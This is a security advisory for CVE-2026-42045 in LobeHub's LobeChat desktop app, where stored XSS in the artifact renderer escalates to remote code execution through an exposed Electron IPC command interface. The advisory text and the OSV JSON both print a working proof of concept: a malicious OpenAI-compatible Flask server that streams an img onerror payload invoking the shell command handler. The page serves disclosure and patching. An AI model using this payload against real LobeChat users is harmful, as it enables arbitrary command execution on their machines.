CVE-2026-42045: @lobehub/lobehub Remote Code Execution Vulnerability

MODERATE
Advisory Identifier: GHSA-xq4x-622m-q8fq
CVSS 6.2
CWE-78 CWE-79
Published
Advisory Summary

CVE-2026-42045 is a MODERATE (CVSS 6.2) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting @lobehub/lobehub libraries in the npm ecosystem. The issue involves lobehub has a cross-site scripting issue that escalates to remote code execution. Remediation is available in the latest vendor maintenance releases.

CVE-2026-42045 at a Glance

CVE Identifier CVE-2026-42045
GHSA Identifier GHSA-xq4x-622m-q8fq
Severity MODERATE
CVSS v3.1 Base Score 6.2
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product @lobehub/lobehub
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required High (PR:H)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-42045

To remediate this vulnerability, upgrade all affected @lobehub/lobehub dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@lobehub/lobehub fixed: Latest secure release
npm install @lobehub/lobehub@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @lobehub/lobehub

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-42045, inspect your project dependencies using npm:

npm ls @lobehub/lobehub

Analyze the terminal output to locate any version of @lobehub/lobehub in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls @lobehub/lobehub command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In @lobehub/lobehub, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The vulnerability was automatically discovered by an ai agent and then manually verified. LobeChat's message rendering mechanism has a stored cross-site scripting (XSS) vulnerability. Combined with the Electron main process's exposed insecure IPC interface, attackers can construct malicious payloads to achieve an attack chain from XSS to remote code execution (RCE). The LobeChat team verified this vulnerability in lobehub v2.1.23, and it also exists in the latest version. ### Details When LobeChat processes custom tags in the Render process of `src/features/Portal/Artifacts/Body/Renderer/index.tsx`, if no type match is found, it will choose to call the default method, HTMLRenderer, for HTML rendering. ```typescript const Renderer = memo<{ content: string; type?: string }>(({ content, type }) => { switch (type) { case 'application/lobe.artifacts.react': { return <ReactRenderer code={content} />; } case 'image/svg+xml': { return <SVGRender content={content} />; } case 'application/lobe.artifacts.mermaid': { return <Mermaid variant={'borderless'}>{content}</Mermaid>; } case 'text/markdown': { return <Markdown style={{ overflow: 'auto' }}>{content}</Markdown>; } default: { return <HTMLRenderer htmlContent={content} />; } } }); export default Renderer; ``` If an attacker can induce the LLM to output content containing malicious tags, an XSS vulnerability can be created on the client side. Additionally, Lobechat's Electron main process exposes an IPC interface called `runCommand`, used to invoke system commands. This interface allows arbitrary command execution and does not filter the `command` parameter. Therefore, if an attacker can obtain a handle to `window.parent.electronAPI` via XSS and call the `runCommand` method of the IPC, the `ipcMain` process can execute arbitrary system commands with the current user's privileges. ```typescript @IpcMethod() async handleRunCommand({ command, description, run_in_background, timeout = 120_000, }: RunCommandParams): Promise<RunCommandResult> { ... const childProcess = spawn(shellConfig.cmd, shellConfig.args, { env: process.env, shell: false, }); ... } ``` ### PoC The attacker launched a malicious OpenAI gateway on port 5001 ```python from flask import Flask, Response, request, jsonify import time import json app = Flask(__name__) fake_api_key = "sk-test" @app.route('/v1/chat/completions', methods=['POST', 'OPTIONS']) def chat_completions(): if request.method == 'OPTIONS': return Response(status=200, headers={ 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Headers': '*' }) # Check for API Key auth_header = request.headers.get('Authorization') print(auth_header) if not auth_header or auth_header != f'Bearer {fake_api_key}': return jsonify({"error": {"message": "Invalid API Key", "type": "invalid_request_error", "code": "invalid_api_key"}}), 401 def generate(): payload = """ <lobeArtifact type="nebula"> <img src=x onerror='window.parent.electronAPI.invoke("shellCommand.handleRunCommand", {command:"open -a Calculator"})'> </lobeArtifact> """ # Split payload into chunks to simulate streaming chunks = [payload[i:i+10] for i in range(0, len(payload), 10)] for chunk in chunks: data = { "id": "chatcmpl-hpdoger-123", "object": "chat.completion.chunk", "created": int(time.time()), "model": "gpt-3.5-turbo", "choices": [{ "index": 0, "delta": {"content": chunk}, "finish_reason": None }] } yield f"data: {json.dumps(data)}\n\n" time.sleep(0.1) # End of stream final_data = { "id": "chatcmpl-hpdoger-123", "object": "chat.completion.chunk", "created": int(time.time()), "model": "gpt-3.5-turbo", "choices": [{ "index": 0, "delta": {}, "finish_reason": "stop" }] } yield f"data: {json.dumps(final_data)}\n\n" yield "data: [DONE]\n\n" return Response(generate(), mimetype='text/event-stream', headers={ 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Headers': '*' }) @app.route('/v1/models', methods=['GET']) def models(): return jsonify({ "object": "list", "data": [{ "id": "gpt-3.5-turbo", "object": "model", "created": 1677610602, "owned_by": "openai" }] }) if __name__ == '__main__': print("Evil OpenAI-compatible server running on http://127.0.0.1:5001") app.run(port=5001, debug=True) ``` The victim opens the LobeChat application and configures an LLM Provider, entering the address of the HTTP server provided by the attacker. <img width="2048" height="772" alt="image" src="https://github.com/user-attachments/assets/86fe8f76-d75f-4e23-a2c5-fe29b124c7a7" /> The victim was exposed to an arbitrary command execution vulnerability while chatting <img width="2048" height="1036" alt="image" src="https://github.com/user-attachments/assets/0a84171f-ec78-4166-b7ab-298ece6b06b9" /> ### reproduction For attack reproduction, refer to this video. Once the victim configures the attacker's LLM provider endpoint, arbitrary commands can be executed. Here, our demonstration `opens a calculator` in the victim's environment. https://github.com/user-attachments/assets/6383e996-9148-4e88-8e25-90260104368d ### Impact Affected LobeChat clients can connect to the attacker's LLM endpoint and trigger arbitrary command execution simply by sending normal conversation messages. ### Patch A patch is available at https://github.com/lobehub/lobehub/releases/tag/v2.1.48.

CVE-2026-42045 Affected @lobehub/lobehub Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
@lobehub/lobehub
npm
≤ 2.1.26

References

Frequently Asked Questions

What is CVE-2026-42045?
CVE-2026-42045 is a security vulnerability in @lobehub/lobehub involving LobeHub has a Cross-Site Scripting issue that escalates to Remote Code Execution under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which @lobehub/lobehub versions are affected?
Affected versions include releases prior to current release patches across affected packages: @lobehub/lobehub.
What version fixes CVE-2026-42045?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is @lobehub/lobehub affected?
Yes, @lobehub/lobehub is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-42045?
CVE-2026-42045 has a CVSS v3.1 base score of 6.2 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N.
What CWE is associated with CVE-2026-42045?
CVE-2026-42045 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check npm dependencies for CVE-2026-42045?
Run the dependency tree command: 'npm ls @lobehub/lobehub'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xq4x-622m-q8fq",
  "modified" : "2026-05-13T16:25:25Z",
  "published" : "2026-05-05T18:04:53Z",
  "aliases" : [ "CVE-2026-42045" ],
  "summary" : "LobeHub has a Cross-Site Scripting issue that escalates to Remote Code Execution",
  "details" : "### Summary\nThe vulnerability was automatically discovered by an ai agent and then manually verified.\n\nLobeChat's message rendering mechanism has a stored cross-site scripting (XSS) vulnerability. Combined with the Electron main process's exposed insecure IPC interface, attackers can construct malicious payloads to achieve an attack chain from XSS to remote code execution (RCE).\n\nThe LobeChat team verified this vulnerability in lobehub v2.1.23, and it also exists in the latest version.\n\n### Details\nWhen LobeChat processes custom tags in the Render process of `src/features/Portal/Artifacts/Body/Renderer/index.tsx`, if no type match is found, it will choose to call the default method, HTMLRenderer, for HTML rendering.\n\n```typescript\nconst Renderer = memo<{ content: string; type?: string }>(({ content, type }) => {\n  switch (type) {\n    case 'application/lobe.artifacts.react': {\n      return <ReactRenderer code={content} />;\n    }\n\n    case 'image/svg+xml': {\n      return <SVGRender content={content} />;\n    }\n\n    case 'application/lobe.artifacts.mermaid': {\n      return <Mermaid variant={'borderless'}>{content}</Mermaid>;\n    }\n\n    case 'text/markdown': {\n      return <Markdown style={{ overflow: 'auto' }}>{content}</Markdown>;\n    }\n\n    default: {\n      return <HTMLRenderer htmlContent={content} />;\n    }\n  }\n});\n\nexport default Renderer;\n```\n\nIf an attacker can induce the LLM to output content containing malicious tags, an XSS vulnerability can be created on the client side.\n\nAdditionally, Lobechat's Electron main process exposes an IPC interface called `runCommand`, used to invoke system commands. This interface allows arbitrary command execution and does not filter the `command` parameter. Therefore, if an attacker can obtain a handle to `window.parent.electronAPI` via XSS and call the `runCommand` method of the IPC, the `ipcMain` process can execute arbitrary system commands with the current user's privileges.\n\n```typescript\n  @IpcMethod()\n  async handleRunCommand({\n    command,\n    description,\n    run_in_background,\n    timeout = 120_000,\n  }: RunCommandParams): Promise<RunCommandResult> {\n    ...\n    const childProcess = spawn(shellConfig.cmd, shellConfig.args, {\n            env: process.env,\n            shell: false,\n          });\n    ...\n  }\n```\n\n### PoC\nThe attacker launched a malicious OpenAI gateway on port 5001\n\n```python\nfrom flask import Flask, Response, request, jsonify\nimport time\nimport json\n\napp = Flask(__name__)\nfake_api_key = \"sk-test\"\n\n@app.route('/v1/chat/completions', methods=['POST', 'OPTIONS'])\ndef chat_completions():\n    if request.method == 'OPTIONS':\n        return Response(status=200, headers={\n            'Access-Control-Allow-Origin': '*',\n            'Access-Control-Allow-Headers': '*'\n        })\n\n    # Check for API Key\n    auth_header = request.headers.get('Authorization')\n    print(auth_header)\n    if not auth_header or auth_header != f'Bearer {fake_api_key}':\n        return jsonify({\"error\": {\"message\": \"Invalid API Key\", \"type\": \"invalid_request_error\", \"code\": \"invalid_api_key\"}}), 401\n\n    def generate(): \n        payload = \"\"\"\n<lobeArtifact type=\"nebula\">\n<img src=x onerror='window.parent.electronAPI.invoke(\"shellCommand.handleRunCommand\", {command:\"open -a Calculator\"})'>\n</lobeArtifact>\n\"\"\"\n        # Split payload into chunks to simulate streaming\n        chunks = [payload[i:i+10] for i in range(0, len(payload), 10)]\n        \n        for chunk in chunks:\n            data = {\n                \"id\": \"chatcmpl-hpdoger-123\", \n                \"object\": \"chat.completion.chunk\", \n                \"created\": int(time.time()), \n                \"model\": \"gpt-3.5-turbo\", \n                \"choices\": [{\n                    \"index\": 0, \n                    \"delta\": {\"content\": chunk},\n                    \"finish_reason\": None\n                }]\n            }\n            yield f\"data: {json.dumps(data)}\\n\\n\"\n            time.sleep(0.1)\n        \n        # End of stream\n        final_data = {\n            \"id\": \"chatcmpl-hpdoger-123\", \n            \"object\": \"chat.completion.chunk\", \n            \"created\": int(time.time()), \n            \"model\": \"gpt-3.5-turbo\", \n            \"choices\": [{\n                \"index\": 0, \n                \"delta\": {},\n                \"finish_reason\": \"stop\"\n            }]\n        }\n        yield f\"data: {json.dumps(final_data)}\\n\\n\"\n        yield \"data: [DONE]\\n\\n\"\n\n    return Response(generate(), mimetype='text/event-stream', headers={\n        'Access-Control-Allow-Origin': '*', \n        'Access-Control-Allow-Headers': '*'\n    })\n\n@app.route('/v1/models', methods=['GET'])\ndef models():\n    return jsonify({\n        \"object\": \"list\", \n        \"data\": [{\n            \"id\": \"gpt-3.5-turbo\", \n            \"object\": \"model\", \n            \"created\": 1677610602, \n            \"owned_by\": \"openai\"\n        }]\n    })\n\nif __name__ == '__main__':\n    print(\"Evil OpenAI-compatible server running on http://127.0.0.1:5001\")\n    app.run(port=5001, debug=True)\n```\n\nThe victim opens the LobeChat application and configures an LLM Provider, entering the address of the HTTP server provided by the attacker.\n\n<img width=\"2048\" height=\"772\" alt=\"image\" src=\"https://github.com/user-attachments/assets/86fe8f76-d75f-4e23-a2c5-fe29b124c7a7\" />\n\nThe victim was exposed to an arbitrary command execution vulnerability while chatting\n\n<img width=\"2048\" height=\"1036\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0a84171f-ec78-4166-b7ab-298ece6b06b9\" />\n\n### reproduction\nFor attack reproduction, refer to this video. Once the victim configures the attacker's LLM provider endpoint, arbitrary commands can be executed. Here, our demonstration `opens a calculator` in the victim's environment.\n\nhttps://github.com/user-attachments/assets/6383e996-9148-4e88-8e25-90260104368d\n\n### Impact\nAffected LobeChat clients can connect to the attacker's LLM endpoint and trigger arbitrary command execution simply by sending normal conversation messages.\n\n### Patch\nA patch is available at https://github.com/lobehub/lobehub/releases/tag/v2.1.48.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@lobehub/lobehub"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.1.26"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lobehub/lobehub/security/advisories/GHSA-xq4x-622m-q8fq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42045"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lobehub/lobehub"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78", "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T18:04:53Z",
    "nvd_published_at" : "2026-05-12T18:17:23Z"
  }
}